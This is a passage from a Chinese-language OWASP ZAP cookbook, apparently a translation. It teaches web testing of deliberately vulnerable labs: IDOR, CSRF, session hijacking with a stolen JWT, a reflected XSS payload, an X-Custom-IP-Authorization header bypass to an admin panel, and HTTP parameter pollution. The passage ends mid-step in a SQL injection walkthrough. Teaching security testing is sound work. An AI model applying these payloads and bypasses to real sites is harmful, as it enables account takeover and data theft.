在这里,我们将攻击应用程序的实时聊天功能,允许我们查看其他用户发送给虚拟 Web 应用支持团队的消息。让我们来看一下具体步骤:
-
首先,在 PortSwigger Academy 实验室中导航到实时
-
在捕获流量的同时,点击查看
你会注意到这会下载一个编号的文本文件。当你在 ZAP 的手动请求编辑器中查看响应时,你可以操控文件的数字,如图 4.22所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_04.22_B18829.jpg
图 4.22 – IDOR 攻击的请求与响应
- 将数字改为
1
并观察响应。
在响应中,你将看到支持机器人与其他人之间的聊天记录,其中揭示了用户以明文发送密码。
工作原理…
最基本的 IDOR 场景发生在应用程序使用容易猜测的数字值(如增量整数)引用对象时,正如我们在测试中所看到的那样。这些字段也可能包含可能的单词,如用户的电子邮件地址或目录名称。其他时候,使用了不良的编码方法,允许攻击者解码某些内容——例如,使用 base64 编码对增量整数进行编码,或者引用用户的头像图像名称哈希值。
测试 IDOR 的最佳方法是请求或创建至少两个用户,以覆盖不同的拥有对象和功能——例如,两个用户分别访问不同的对象(如购买信息、私密消息等)——并且(如果相关并且可能)创建具有不同权限的用户(即管理员与审计员),以查看是否存在对应用功能的直接引用。通过多个用户,测试人员可以节省时间,而不必猜测在尝试访问属于其他用户的对象时,不同对象的名称是什么。
还有更多…
测试时需要关注的其他领域如下:
-
参数的值是否直接用于检索数据库记录
-
参数的值是否直接用于在系统中执行操作
-
参数的值是否直接用于检索文件系统资源
-
参数的值是否直接用于访问应用功能
第五章:会话管理测试
欢迎来到第五章!在这一章节中,我们将带领您完成与会话管理相关的实用技巧。本章涵盖的主题将向您展示如何使用 OWASP ZAP 来捕获和使用会话令牌,并可以在多种类型的攻击中使用。
在本章中,我们将涵盖以下实用技巧:
-
测试 Cookie 属性
-
测试跨站请求伪造(CSRF)
-
测试注销功能
-
会话劫持测试
技术要求
对于本章,您需要在计算机上安装 OWASP ZAP 代理和 OWASP Juice Shop 以拦截浏览器和 OWASP Juice Shop 之间的流量。此外,利用您的 PortSwigger 帐户访问 PortSwigger Academy 实验室,这些实验室将在本章的实例中使用。最后,使用 Mutillidae II Docker 环境是完成某些攻击所必需的。
Mutillidae 设置
Mutillidae 是一个开放源代码、不安全且易受攻击的 Web 应用程序,用于训练和学习各种类型的漏洞,通过提示和帮助来利用攻击。这将帮助您学习如何执行从简单到更复杂的攻击。您可以在owasp.org/www-project-mutillidae-ii/
找到有关该项目的更多信息。为了简化设置,我们将使用 Mutillidae II Docker 镜像。
- 第一步是 git 克隆或下载 GitHub 存储库:
github.com/Nanjuan/mutillidae-docker-nes
- 一旦您下载了 GitHub 存储库,请在终端中导航到该文件夹,并查看文件以确保其如图 5**.1所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.01_B18829.jpg
图 5.1 – 下载的 Mutillidae 存储库
-
当您在 Mutillidae 目录中时,请运行以下 Docker 命令:
docker compose up -d
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.02_B18829.jpg
图 5.2 – Mutillidae 目录
- 一旦 Docker 设置完成,请打开浏览器并导航到 localhost。您可能注意到 localhost URL 将重定向到
localhost/database-offline.php
,如图 5**.3所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.03_B18829.jpg
图 5.3 – Mutillidae 的本地主机
- 接下来,在步骤 1中按下点击此处按钮,如图 5**.3所示。这将弹出一个消息。点击确定。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.04_B18829.jpg
图 5.4 – 点击此处消息
- 点击确定后,应用程序将重定向到 Mutillidae 主页,如图 5**.5所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.05_B18829.jpg
图 5.5 – Mutillidae 主页
设置完成。
测试 Cookie 属性
Cookies 是网站存储在计算机上的文本文件。网站使用 cookies 来跟踪用户活动、提供个性化体验和/或进行会话管理。因此,在大多数情况下,cookies 包含大量关于用户的私密信息,使其成为犯罪分子的攻击目标。
由于 cookie 中可能存储的数据非常敏感,业界已经创建了 cookie 属性来帮助保护 cookie 数据。以下是可以设置的属性及其解释:
- Secure 属性:
Secure
属性确保 cookie 通过 HTTPS 发送,以防止中间人攻击。
- HttpOnly 属性:
HttpOnly
属性被设置为防止客户端脚本访问 cookie 数据。此属性作为防御跨站脚本攻击的另一层保护。
- Domain 属性:
Domain
属性用于设置 cookie 可以使用的域范围。如果请求 URL 中的域与Domain
属性中的域不匹配,cookie 将无效。
- Path 属性:
Path
属性被设置为指定 cookie 可以使用的路径。如果路径匹配,则 cookie 将在请求中发送。
- Expires 属性:
Expires
属性被设置为指定 cookie 的生命周期。
- SameSite 属性:
SameSite
属性被设置为限制在跨站请求中发送 cookie。此属性用于限制与第三方共享 cookie,并作为防御跨站请求伪造(CSRF)攻击的保护。SameSite
属性可以设置为以下值之一:Strict
、Lax
或None
。如果将值设置为None
,cookie 将会在跨站请求中发送。如果将值设置为Strict
,cookie 将仅发送到它的来源站点。如果将值设置为Lax
,即使 cookie 是由第三方创建的,只要 URL 与 cookie 的域匹配,cookie 仍会被发送。
准备工作
对于本教程,您需要启动 ZAP 并确保它正在拦截服务器与浏览器之间的通信。此外,您需要一个 PortSwigger Academy 的用户账户(portswigger.net/web-security)。
如何操作…
默认情况下,ZAP 在被动扫描器中具有规则,如果未设置之前定义的某个属性,将发出警报。在本教程中,我们将启动 PortSwigger 实验室,查看 ZAP 中的 cookie 警报。以下步骤将引导您完成此过程:
-
第一步是浏览portswigger.net/web-security,然后点击顶部导航栏中的
All Labs
。 -
一旦进入实验室页面,点击
Exploiting cross-site scripting to steal cookies >>
,如图 5.6所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.06_B18829.jpg
图 5.6 – PortSwigger 实验室
- 点击 访问实验室,如 图 5.7 所示,并登录:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.07_B18829.jpg
图 5.7 – 访问实验室
- 实验提供了一个易受攻击的应用程序。打开该应用程序后,点击 ZAP 中的 新建上下文 按钮,并在 新建上下文 窗口中选择该应用程序作为 顶级节点,如 图 5.8 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.08_B18829.jpg
图 5.8 – 新建上下文窗口
-
点击目标图标,只有在范围内的应用程序才会显示发现的内容。
-
右键点击上下文,点击 蜘蛛爬取…,如 图 5.9 所示,开始对网站进行爬取:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.09_B18829.jpg
图 5.9 – 爬虫抓取
这样做会将爬虫添加到 ZAP 的底部窗口(如果它不在那里),你会看到进度条。
- 完成蜘蛛爬取后,点击底部窗口中的 警报 标签。你会看到 ZAP 发现该应用程序的 cookie 没有包含
HttpOnly
标志和SameSite
属性,如 图 5.10 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.10_B18829.jpg
图 5.10 – Cookie 警报
操作原理…
在这个实验中,我们已经看到如何使用 ZAP 来测试缺失的 cookie 安全属性。ZAP 内置了规则,如果 cookie 缺少安全属性,会触发警报。ZAP 被动地发现这些问题;无需进行主动扫描。
测试跨站请求伪造 (CSRF)
在本实验中,我们将介绍如何执行 CSRF 攻击,在此过程中,我们能够以不同的用户身份发布评论。应用程序需要足够安全,因为 CSRF 漏洞允许攻击者利用该漏洞,使用户在不知情的情况下更改敏感信息。
准备工作
为了准备这个实验,请启动 ZAP 和 Mutillidae II。确保 ZAP 拦截来自 Mutillidae II 应用程序的流量。你还需要一个 Mutillidae II 测试账户来发布消息。
如何操作…
- 第一步是使用你创建的账户登录到 Mutillidae II,导航到博客页面,并在启用代理的情况下,提交博客帖子。在应用程序中使用下拉菜单,进入 OWASP 2013,再到 A8 - 跨站请求伪造 (CSRF),然后添加到你的博客。在启用代理的情况下,提交博客帖子:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.11_B18829.jpg
图 5.11 – Mutillidae 添加博客页面
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.12_B18829.jpg
图 5.12 – Mutillidae 当前博客条目
- 进入 ZAP Proxy,右键点击 POST 请求,点击 生成反-CSRF
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.13_B18829.jpg
图 5.13 – 生成反-CSRF 测试表单
这将打开一个屏幕,页面上显示表单字段和 CSRF 令牌:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.14_B18829.jpg
图 5.14 – 博客条目 csrf-token 字段
- 以另一个用户身份登录同一浏览器,然后在表单中输入随机的 CSRF 令牌和攻击者博客条目:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.15_B18829.jpg
图 5.15 – Mutillidae CSRF 令牌字段操控
- 请注意,在点击 ZAP 反 CSRF 表单上的提交按钮后,页面会重定向到博客页面,并提交了通过 ZAP 代理创建的反 CSRF 表单的博客条目:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.16_B18829.jpg
图 5.16 – CSRF 有效载荷
它是如何工作的…
在这个配方中,你能够在没有任何 CSRF 令牌的情况下向受害者用户提交请求。这是通过滥用应用程序代码中的配置错误来完成的,该错误允许在没有验证 CSRF 令牌和已登录用户的情况下接受请求。
测试注销功能
这个配方专注于测试网站的注销机制。注销机制在应用程序中很重要,用于终止活动会话。一些攻击,如跨站脚本和 CSRF,依赖于用户账户中存在活动会话。因此,拥有构建良好且配置合理的注销功能,可以帮助防止跨站脚本和 CSRF 攻击,通过在预定时间框架后或用户注销后终止活动会话。
会话终止需要测试的三个要素如下:
-
第一项是注销功能。这通常表现为大多数网站上的注销按钮。该按钮应出现在所有页面上,并且应引人注意,确保用户在决定注销时不会错过。
-
第二项是会话超时期。会话超时期指定会话在被终止之前的不活动时长。
-
第三项是服务器端会话终止。应用程序必须确保在用户注销或超时后,服务器端会话状态被终止。
准备工作
为了准备这次实验,请确保 OWASP Juice Shop 正在运行,并且 ZAP 正在拦截浏览器与 OWASP Juice Shop 之间的通信。
如何实现…
在本实验中,我们将测试当用户注销时,服务器端会话是否被终止。按照以下步骤来查看如何做到这一点:
-
启动 OWASP Juice Shop 应用程序。
-
启动 ZAP 并将 OWASP Juice Shop 添加到范围中。
-
打开 Juice Shop 并进入登录页面。
-
打开 ZAP 并点击绿色圆圈设置在所有请求和响应上断点按钮来添加断点。绿色圆圈按钮会变为红色。
-
以管理员身份登录。管理员凭据是 admin@juice-sh.op 作为电子邮件地址,
admin123
作为密码。 -
点击步骤按钮,直到看到包含令牌 ID 的登录请求响应,如图 5.17所示。然后点击继续:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.17_B18829.jpg
图 5.17 – JWT 令牌 ID
- 在 Juice Shop 应用中,点击账户,然后点击订单与支付,接着点击订单历史,如图 5.18所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.18_B18829.jpg
图 5.18 – 订单历史到订单与支付
-
点击账户,然后点击注销,以退出 Juice Shop。
-
打开 ZAP,在历史标签中,搜索以下
/rest/order-history
URL 的 GET 请求,如图 5.19所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.19_B18829.jpg
图 5.19 – /rest/order-history 的 GET 请求
- 右键点击请求,选择用请求编辑器打开/重新发送…,如图 5.20所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.20_B18829.jpg
图 5.20 – 请求编辑器
这将打开手动请求编辑器。在请求编辑器中,你可以编辑请求。
- 点击发送以重新发送请求:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.21_B18829.jpg
图 5.21 – 手动请求编辑器发送
- 发送请求后,响应标签将打开,其中将包括服务器的响应。你可以看到请求被接受,并且响应中包含了管理员用户的订单历史,如图 5.22所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.22_B18829.jpg
图 5.22 – 订单历史响应
工作原理…
在这个实验中,我们作为管理员用户在用户已经注销后重新发送请求。该请求被服务器接受,且返回了包含用户信息的响应,这证明即使我们作为管理员用户已经注销,应用程序并没有在后台终止管理员用户的会话,这使得我们能够执行未经授权的操作。
还有更多内容…
其他类型的注销功能测试,例如会话超时,可以通过等待递增时间进行测试(即 15 分钟、30 分钟、1 小时、1 天)。测试时,登录应用程序并设置计时器,等待递增的时间段,希望能够成功注销。时间过后,尝试刷新网页应用页面、在应用程序上执行操作,或重新发送请求以触发应用程序的会话超时。
另见
另一种利用会话变量的攻击是会话拼图攻击或会话变量重载攻击。使用会话变量处理多个目的的应用程序容易受到这种攻击。有关这种攻击的更多信息,请参见以下链接:owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling
。
测试会话劫持
在本教程中,我们将演示如何通过利用 web 会话控制机制(即会话令牌)劫持会话,并使用该令牌(即 cookie)接管一个不知情用户的会话。常见的漏洞包括会话嗅探、恶意 JavaScript 代码(如 XSS、CSRF)或中间人攻击(MiTM)导致令牌可预测。
我们将使用 MiTM 攻击通过跨站脚本攻击盗取会话令牌,并将盗取的令牌重放到另一个用户的会话中,进而劫持该用户的 Juice Shop 账户。
准备工作
为了准备此教程,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用程序主页拦截流量,并注册/创建两个不同的用户。
如何进行…
我们将引导您通过以下步骤,教您如何利用 OWASP Juice Shop 中的两个用户进行会话劫持,通过 MiTM 攻击捕获会话 cookie 或令牌,并将其加载到另一个用户的请求中,劫持该会话并验证用户账户。
以下步骤将引导您完成此过程:
- 打开 ZAP 的手动探索页面,输入 Juice Shop URL,并点击启动浏览器,如图 5.23所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.23_B18829.jpg
图 5.23 – Juice Shop URL 中的手动探索
-
首先,进入账户,选择登录,然后选择还不是客户。
-
创建一个
User1@email.com
,密码可以随便设置,安全问题也随便填写。 -
创建第一个用户后,重复步骤 1和步骤 2来创建
User2@email.com
。 -
使用User1账户登录到 Juice Shop。
-
在所有请求和响应上设置断点,并刷新User1的已登录网页。
这可以通过启动的手动探索浏览器或工作区窗口来实现:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.24_B18829.jpg
图 5.24 – 在所有请求和响应上设置断点
-
在 ZAP 中,您将看到一个新的标签页,名为
Break
,如图 5.25所示,它会显示捕获的User1会话(JWT)令牌。 -
复制请求中
token=
和Upgrade-Insecure-Requests
之间的所有文本:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_05.25_B18829.jpg
图 5.25 – 捕获的会话令牌
-
登出User1账户并使用User2账户登录。
-
在以User2身份登录的状态下,打开浏览器的检查工具并转到存储标签。
-
在 Cookies 的储存区中,点击打开下拉菜单并选择 Juice Shop 网址。
-
将User2的令牌元素替换为User1的会话令牌,然后按下键盘上的Enter键。
-
刷新浏览器网页并打开 Juice Shop 的账户菜单。现在将显示User1已经登录,而不是User2,成功劫持了User1的会话。
它是如何工作的……
用户会话在未获得用户知情或同意的情况下被控制的行为称为会话劫持。此操作通常通过获取用户的JSON Web Token
(JWT)来实现,该令牌用于在网页应用程序中验证用户身份。
获取受害者 JWT 的攻击者可以冒充受害者并访问其账户。这是通过将被窃取的 JWT 放入网页应用请求的 HTTP 头部来实现的。由于 JWT 看起来是合法的,并且由应用程序提供,应用程序会将请求当作来自受害者的请求处理。
攻击者可以通过多种方式获取受害者的 JWT,包括网络钓鱼攻击、中间人攻击(MiTM)以及利用应用程序或受害者设备中的弱点。
还有更多……
ZAP 可以通过进入选项并滚动到常规中的JWT
设置来扫描 JWT 令牌漏洞,勾选启用客户端配置扫描。稍后,在第十章,“高级攻击技术”中,在操作 JSON Web 令牌这一食谱中,我们将回顾如何在 ZAP 中使用和滥用它。此外,这些令牌可以通过编码/解码/哈希工具进行解码,以查看其中的内容,如头部算法、用户名、密码、令牌过期时间等。在第十二章中,我们将进一步讨论 JWT 令牌的结构、如何解码它们,并展示可以尝试的攻击方法。
参见
为了进一步理解会话劫持及其缓解方法,可以考虑阅读更多资料:
-
cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
-
owasp.deteact.com/cheat/cheatsheets/Input_Validation_Cheat_Sheet.html
第六章:验证(数据)输入 – 第一部分
你已经来到了第六章,黑客攻击的核心内容!在这一章中,你将会了解每个黑客都认识、喜爱、憎恨并希望重现的攻击方法。在这里,我们将开始深入研究利用容易受到输入验证问题、糟糕编码实践或后端缺乏参数化的字段或对象的攻击方法。
尽管许多人都知道跨站脚本攻击(XSS)等攻击,它们可以利用会话或结构化查询语言(SQL)注入攻击来绕过身份验证或从数据库中拉取数据,但我们还将深入探讨更多利用相同糟糕编码实践的攻击。
本章将涵盖以下教程:
-
测试反射型 XSS
-
测试 HTTP 动词篡改
-
测试HTTP 参数污染(HPP)
-
测试 SQL 注入
技术要求
对于本章内容,要求你在本机上安装OWASP Zed Attack Proxy
(OWASP ZAP)和 OWASP Juice Shop,以便拦截浏览器与 OWASP Juice Shop 之间的流量。此外,还需要使用你的 PortSwigger 账户访问 PortSwigger Academy 的实验室,这些实验室将用于本章的教程。最后,为了完成某些攻击,需要使用 Mutillidae II Docker 环境。
测试反射型 XSS
XSS 漏洞是最常见的 Web 应用程序注入攻击之一。这种攻击位于OWASP Top 10:2021 – 注入类别中的第 3 位。XSS 欺骗用户的浏览器运行攻击者精心设计的恶意 JavaScript 代码,以窃取用户的敏感信息,例如会话 cookie 或密码。在某些情况下,如果管理员帐户的会话信息被泄露,攻击者可能会接管整个应用程序。任何使用用户输入数据生成输出的应用程序都有可能遭受 XSS 攻击。XSS 漏洞有多种类型:反射型 XSS、存储型 XSS 和 DOM XSS。DOM XSS 将在第九章,客户端测试中讨论。
在这个教程中,我们将使用反射型 XSS 负载攻击 OWASP Juice Shop 应用程序,并利用 ZAP 拦截流量,操控请求并观察攻击在浏览器中反映出来。
准备工作
本实验要求运行 Juice Shop 应用程序,并且 ZAP 能够拦截来自服务器到浏览器的请求和响应。
如何操作…
反射型 XSS 漏洞发生在应用程序接受用户输入并将其显示在响应输出中时。与存储型 XSS(持久性)不同,反射型 XSS 不会在应用程序中永久存储(非持久性)。
以下步骤用于利用 XSS 漏洞:
-
打开 OWASP Juice Shop。
-
使用启用设置
-
将以下有效负载输入到搜索字段中:
<image src=1 href=1 onerror="javascript:alert(1)"></image>
-
请观察浏览器中反射的负载弹出警告,如图 6.1所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.01_B18829.jpg
图 6.1 – XSS 负载反射
它是如何工作的…
无论 XSS 攻击是反射型还是存储型,结果总是一样的。负载进入服务器系统的方式使这两者有所不同。永远不要假设一个“只读”网站可以免疫反射型 XSS 攻击。最终用户可能会因为 XSS 而经历一系列问题,从小麻烦到完全账户泄露不等。通过泄露用户的会话 Cookie,XSS 攻击为攻击者提供了访问用户会话和账户的权限。根据用户的权限等级,例如管理员权限,这可能会增加风险。
还有更多…
XSS 攻击很常见,防止这些攻击至关重要。以下是两种防止 XSS 攻击的方法。请记住,这些并不是唯一的防护 XSS 攻击的选项:
-
对非字母数字字符进行编码以防止浏览器执行代码:你可以利用一个库或框架自动编码或转义用户输入,使其不被视为代码。例如,在 HTML 环境中,你可以使用 Python 的
html.escape()
方法或 JavaScript 的HTMLElement.textContent
属性来编码用户输入,使其被解释为纯文本而不是可执行代码。 -
验证用户提交的输入并允许特定类型或列表的输入:使用允许字符的白名单,而不是禁止字符的黑名单,是实现这一目标的一种技术。例如,你可以限制输入为字母数字字符和一些基本符号,同时禁止任何包含 HTML 或 JavaScript 元素的输入。
-
使用内容安全策略(CSP)来指定哪些源被允许在你的网站上执行脚本也是一个好主意,同时在服务器端验证过程中包含输入清理。即使攻击者成功绕过客户端验证,这也有助于避免 XSS 攻击。
重要说明
存储型 XSS(XSS 类型 II)是一种持久性攻击,也被称为二次 XSS。它发生在应用程序从不可靠的来源获取恶意数据,将其存储在服务器上,并随后在 HTTP 响应中不经意地包含该数据时。这种攻击使用与反射型 XSS 相同的方法。
另请参阅
获取更多关于 XSS 的信息,请访问以下链接:
要查看更多负载,请访问 GitHub 搜索更多,或访问以下链接:
测试 HTTP 动词篡改
当使用各种 HTTP 方法访问系统对象时,HTTP 动词篡改评估 Web 应用的反应。测试人员应尝试使用每种 HTTP 方法访问爬取期间找到的每个系统对象。
GET
和 POST
请求并不是 HTTP 规范支持的唯一请求类型。开发人员可能没有预料到符合标准的 Web 服务器将如何对这些替代方法做出反应。虽然动词篡改是这些请求的通常术语,但 RFC 9110 规范将它们称为各种 HTTP 方法。
在这个示例中,我们将探讨使用一些这些 HTTP 动词来了解服务器响应以及如何利用它。
准备工作
本实验室需要一个 PortSwigger Academy 账户和一个可用的 ZAP 副本来拦截从服务器到您的浏览器的请求和响应。我们将利用由于不安全配置而导致信息泄露实验室来进行这个示例。
如何做…
在这个示例中,管理界面存在身份验证绕过漏洞。为了利用它,攻击者必须了解前端使用的特定 HTTP 头。
利用 HTTP 动词篡改的步骤如下:
-
通过在快速开始菜单中使用手动探索在 ZAP 中拦截 Web 流量,并在手动探索中启用设置中断并刷新网页开始。
-
通过浏览到
/admin
路径,注意GET
请求。响应将披露一个仅供本地用户使用的管理员界面消息。 -
重新发送请求,但将
GET
替换为TRACE
方法(见图 6**.2):TRACE /admin
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.02_B18829.jpg
图 6.2 – TRACE 请求
X-Custom-IP-Authorization
头现在将包含您的 IP 地址,附加到您的请求中。这用于确定请求是否来自本地主机 IP 地址,如图 6**.3所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.03_B18829.jpg
图 6.3 – 包含 IP 地址的响应
-
打开
Replacer
(Ctrl + R)。这将用于匹配和替换头部。创建一个描述,并将匹配类型保留为响应主体字符串。将以下内容添加到替换字符串字段中:X-Custom-IP-Authorization: 127.0.0.1
注意
IP 地址与您在第 3 步尝试访问 /admin 页面时在 HTTP 响应中看到的 IP 地址相同。
-
将以下内容添加到替换字符串字段中,如图 6**.4所示:
X-Custom-IP-Authorization: 127.0.0.1
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.04_B18829.jpg
图 6.4 – 匹配 / 替换字符串
重要提示
根据 OWASP 文档的替换规则:
响应
主体字符串:
在这种情况下,匹配字符串实例将被视为字符串或正则表达式(regex)。如果它出现在响应体中,那么它将被 替换文本 替换。*
-
勾选 启用 复选框并点击 保存。ZAP 将把此设置应用到你发送的每一个请求中。
-
返回主页浏览。注意,现在你可以访问 管理员面板 链接(显示在 图 6.5 中),然后可以删除用户
Carlos
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.05_B18829.jpg
图 6.5 – 管理面板
它是如何工作的…
HTTP TRACE
方法用于故障排除。当你启用 TRACE
方法时,Web 服务器会沿着到目标资源的路径进行消息回环测试。
尽管这种行为通常是无害的,并且开发人员经常用它进行有用的调试,但如果配置不当,可能会导致私人数据泄露,包括由反向代理添加的内部认证头。
以下是常用的其他标准方法:
-
GET
:传输目标资源的当前表示 -
HEAD
:与GET
相同,但不传输响应内容 -
POST
:对请求内容执行资源特定的处理 -
PUT
:用请求的内容替换目标资源的所有当前表示 -
DELETE
:删除目标资源的所有当前表示 -
CONNECT
:建立到目标资源所识别的服务器的隧道 -
OPTIONS
:描述目标资源的通信选项 -
TRACK
:为带有audio>
或video>
组件定义文本轨道
还有更多…
请记住,Web 服务器处理 TRACE
动词。你的请求可能会通过到达 Web 服务器的附加组件路由,例如 Web 应用防火墙(WAF)或负载均衡器。如果该 WAF 包含头信息,你的 TRACE
响应将包含这些头信息,从而让你获得更多信息。
重要提示
XMLHttpRequest
(XHR)在现代浏览器中不再发送 "TRACE"
请求,且 跨源资源共享(CORS)框架阻止 XHR 请求向未明确允许的外部站点发送请求。因此,在 跨站点追踪(XST)中出现的旧攻击不再有效。
另见
有关 RFC 9110 的更多信息,请访问 www.rfc-editor.org/rfc/rfc9110.html#method.overview
。
有关 Web 分布式创作与版本控制(WebDAV)的更多阅读,请访问 www.webdav.org/specs/rfc2518.html
或 datatracker.ietf.org/doc/html/rfc4918
(RFC 4918)。
重要提示
如果启用了 WebDAV 扩展,这些扩展可能允许更多的 HTTP 方法:PROPFIND
,PROPPATCH
,MKCOL
,COPY
,MOVE
,LOCK
,和 UNLOCK
。
测试 HTTP 参数污染(HPP)
在本教程中,我们将讨论 HPP,你将了解到通过污染一个参数,攻击者可以利用这一点创建账户并接管另一个用户的账户。
准备就绪
为了准备此步骤,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用首页拦截流量。
如何进行…
在本教程中,我们将引导你了解如何在 OWASP Juice Shop 中进行 HPP 攻击。我们将通过向电子邮件字段添加第二个值来污染它,这将使账户创建过程用攻击者的电子邮件替代受害者的电子邮件来建立账户。
以下步骤将引导你完成此过程:
- 打开 ZAP,并通过点击在所有请求和响应上设置断点来启用 ZAP 的拦截功能,启用时会从绿色变为红色。参见图 6.6:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.06_B18829.jpg
图 6.6 – 设置断点
你还需要逐个处理每个请求,因为这个配置会阻止浏览器发送的所有请求和响应。
-
从账户进入,然后点击登录,接着选择还不是客户。
-
创建一个
victim@email.com
的电子邮件地址,设置任意密码和安全问题的答案。 -
在你点击注册后,前往 ZAP 查看请求,然后通过复制字段名和值(如图 6.7所示)输入攻击者电子邮件,并在 ZAP 中转发请求:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.07_B18829.jpg
图 6.7 – 更改为攻击者电子邮件的请求
- 发送请求后,响应会显示账户成功注册,但现在使用的是攻击者的电子邮件,而不是受害者的电子邮件。参见图 6.8:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.08_B18829.jpg
图 6.8 – 攻击者成功注册账户的响应
- 最后,使用你创建的攻击者电子邮件地址和密码登录。注意,个人资料下显示的账户是攻击者的电子邮件。参见图 6.9:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.09_B18829.jpg
图 6.9 – 攻击者账户登录
其工作原理是…
这种攻击有效的原因是应用程序接受多个相同名称的参数。由于没有标准规定应用程序应如何处理具有相同名称的多个参数,这可能导致应用程序以意想不到的方式处理参数。
此外,HPP 攻击包括将多个相互矛盾的值插入到 HTTP 请求的查询字符串参数中,以便混淆或操纵处理请求的服务器端程序。
攻击者可能尝试通过将参数转换为数组来利用这种方法。例如,攻击者可能会发出以下请求:
GET /search?q[]=var1&q[]=var2 HTTP/1.1
Host: example.com
在这种情况下,攻击者试图通过将q
参数转换为数组来注入两个矛盾的值。这可能被利用来绕过输入验证或导致程序出现意外行为。
另请参见
可以考虑进一步阅读,以了解 HPP 及此类攻击的修复措施。您可以参考以下资源:owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution
。
测试 SQL 注入
SQL 注入是一种攻击,主要通过输入字段注入 SQL 查询,以未经授权的方式查看数据库数据、修改数据库数据或执行命令来控制底层基础设施。SQL 注入被认为是最常见的 Web 应用程序攻击之一。SQL 注入是一种严重的 Web 应用程序漏洞;成功的攻击可以使攻击者修改(删除、查看或编辑)数据库中存储的所有数据,或在底层系统上执行命令。
防止 SQL 注入攻击非常重要;以下是一些防止 SQL 注入攻击的技术:
-
使用参数化查询,防止应用程序将用户输入直接添加到数据库查询中。这使得开发人员能够硬编码 SQL 查询,然后将用户输入作为参数传递给查询。
-
转义用户输入,转义查询中的特殊字符。SQL 注入攻击依赖于特殊字符来完成 SQL 查询,如
'
或"
。 -
输入净化,通过编程方式指定接受哪些类型的字符——例如,只接受字母字符。
请记住,这些技术并不是防止 SQL 注入攻击的唯一方法。
准备工作
要在本实验中进行操作,请确保 Juice Shop 正在运行,且 ZAP 正在拦截请求。
如何操作…
以下说明将指导您通过步骤利用 OWASP Juice Shop 应用程序登录页面中的 SQL 注入漏洞。在本实验中,我们将执行一次 SQL 注入攻击,绕过身份验证机制并以管理员身份登录。在执行步骤之前,请确保 OWASP Juice Shop 应用程序正在运行,并且 ZAP 正在拦截应用程序与浏览器之间的流量:
- 打开 OWASP Juice Shop 后,我们需要找到管理员账户的电子邮件/用户名。在主页(所有产品页面),点击苹果汁,在评论部分,您可以看到管理员写的评论,并显示了他们的电子邮件,如图 6.10所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.10_B18829.jpg
图 6.10 – 管理员电子邮件在评论中的显示
- 通过点击账户,然后点击登录来导航到登录页面,如图 6.11所示:
